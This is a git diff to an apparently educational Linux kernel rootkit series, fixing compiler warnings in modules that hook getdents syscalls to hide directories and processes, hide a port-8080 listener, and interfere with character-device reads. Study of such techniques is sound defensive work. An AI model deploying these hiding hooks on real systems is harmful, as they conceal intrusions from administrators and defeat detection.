diff --git a/3_RootkitTechniques/3.4_hiding_directories/rootkit.c b/3_RootkitTechniques/3.4_hiding_directories/rootkit.c
index c6a9180..a67fdc5 100644
--- a/3_RootkitTechniques/3.4_hiding_directories/rootkit.c
+++ b/3_RootkitTechniques/3.4_hiding_directories/rootkit.c
@@ -40,6 +40,8 @@
     struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;
     // int count = regs->dx;
 
+    long error;
+
     /* We will need these intermediate structures for looping through the directory listing */
     struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL;
     unsigned long offset = 0;
@@ -55,8 +57,7 @@
 
     /* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace 
      * dirent_ker is our copy of the returned dirent struct that we can play with */
-    long error;
-        error = copy_from_user(dirent_ker, dirent, ret);
+    error = copy_from_user(dirent_ker, dirent, ret);
     if (error)
         goto done;
 
@@ -125,6 +126,8 @@
     struct linux_dirent *dirent = (struct linux_dirent *)regs->si;
     // int count = regs->dx;
 
+    long error;
+
     /* We will need these intermediate structures for looping through the directory listing */
     struct linux_dirent *current_dir, *dirent_ker, *previous_dir = NULL;
     unsigned long offset = 0;
@@ -140,8 +143,7 @@
 
     /* Copy the dirent argument passed to sys_getdents from userspace to kernelspace 
      * dirent_ker is our copy of the returned dirent struct that we can play with */
-    long error;
-        error = copy_from_user(dirent_ker, dirent, ret);
+    error = copy_from_user(dirent_ker, dirent, ret);
     if (error)
         goto done;
 
diff --git a/3_RootkitTechniques/3.5_hiding_processes/rootkit.c b/3_RootkitTechniques/3.5_hiding_processes/rootkit.c
index c039bb6..f96066b 100644
--- a/3_RootkitTechniques/3.5_hiding_processes/rootkit.c
+++ b/3_RootkitTechniques/3.5_hiding_processes/rootkit.c
@@ -42,6 +42,8 @@
     struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;
     // int count = regs->dx;
 
+    long error;
+
     /* We will need these intermediate structures for looping through the directory listing */
     struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL;
     unsigned long offset = 0;
@@ -57,8 +59,7 @@
 
     /* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace 
      * dirent_ker is our copy of the returned dirent struct that we can play with */
-    long error;
-        error = copy_from_user(dirent_ker, dirent, ret);
+    error = copy_from_user(dirent_ker, dirent, ret);
     if (error)
         goto done;
 
@@ -127,6 +128,8 @@
     struct linux_dirent *dirent = (struct linux_dirent *)regs->si;
     // int count = regs->dx;
 
+    long error;
+
     /* We will need these intermediate structures for looping through the directory listing */
     struct linux_dirent *current_dir, *dirent_ker, *previous_dir = NULL;
     unsigned long offset = 0;
@@ -142,8 +145,7 @@
 
     /* Copy the dirent argument passed to sys_getdents from userspace to kernelspace 
      * dirent_ker is our copy of the returned dirent struct that we can play with */
-    long error;
-        error = copy_from_user(dirent_ker, dirent, ret);
+    error = copy_from_user(dirent_ker, dirent, ret);
     if (error)
         goto done;
 
diff --git a/3_RootkitTechniques/3.6_hiding_ports/rootkit.c b/3_RootkitTechniques/3.6_hiding_ports/rootkit.c
index 191f960..7fd763d 100644
--- a/3_RootkitTechniques/3.6_hiding_ports/rootkit.c
+++ b/3_RootkitTechniques/3.6_hiding_ports/rootkit.c
@@ -24,7 +24,7 @@
 	struct sock *sk = v;
 
 	/* 0x1f90 = 8080 in hex */
-	if (sk != 0x1 && sk->sk_num == 0x1f90)
+	if (sk != (struct sock *)0x1 && sk->sk_num == 0x1f90)
 	{
 		printk(KERN_DEBUG "rootkit: Found process listening on port 8080 - hiding!\n");
 		return 0;
diff --git a/3_RootkitTechniques/3.7_char_interfering/rootkit.c b/3_RootkitTechniques/3.7_char_interfering/rootkit.c
index e8f2e0b..dc377f0 100644
--- a/3_RootkitTechniques/3.7_char_interfering/rootkit.c
+++ b/3_RootkitTechniques/3.7_char_interfering/rootkit.c
@@ -34,7 +34,7 @@
 
     if(error)
     {
-        printk(KERN_DEBUG "rootkit: %d bytes could not be copied into kbuf\n", error);
+        printk(KERN_DEBUG "rootkit: %ld bytes could not be copied into kbuf\n", error);
         kfree(kbuf);
         return bytes_read;
     }
@@ -48,7 +48,7 @@
      */
     error = copy_to_user(buf, kbuf, bytes_read);
     if (error)
-        printk(KERN_DEBUG "rootkit: %d bytes could not be copied into buf\n", error);
+        printk(KERN_DEBUG "rootkit: %ld bytes could not be copied into buf\n", error);
 
     kfree(kbuf);
     return bytes_read;
@@ -72,7 +72,7 @@
 
     if(error)
     {
-        printk(KERN_DEBUG "rootkit: %d bytes could not be copied into kbuf\n", error);
+        printk(KERN_DEBUG "rootkit: %ld bytes could not be copied into kbuf\n", error);
         kfree(kbuf);
         return bytes_read;
     }
@@ -86,7 +86,7 @@
      */
     error = copy_to_user(buf, kbuf, bytes_read);
     if (error)
-        printk(KERN_DEBUG "rootkit: %d bytes could not be copied into buf\n", error);
+        printk(KERN_DEBUG "rootkit: %ld bytes could not be copied into buf\n", error);
 
     kfree(kbuf);
     return bytes_read;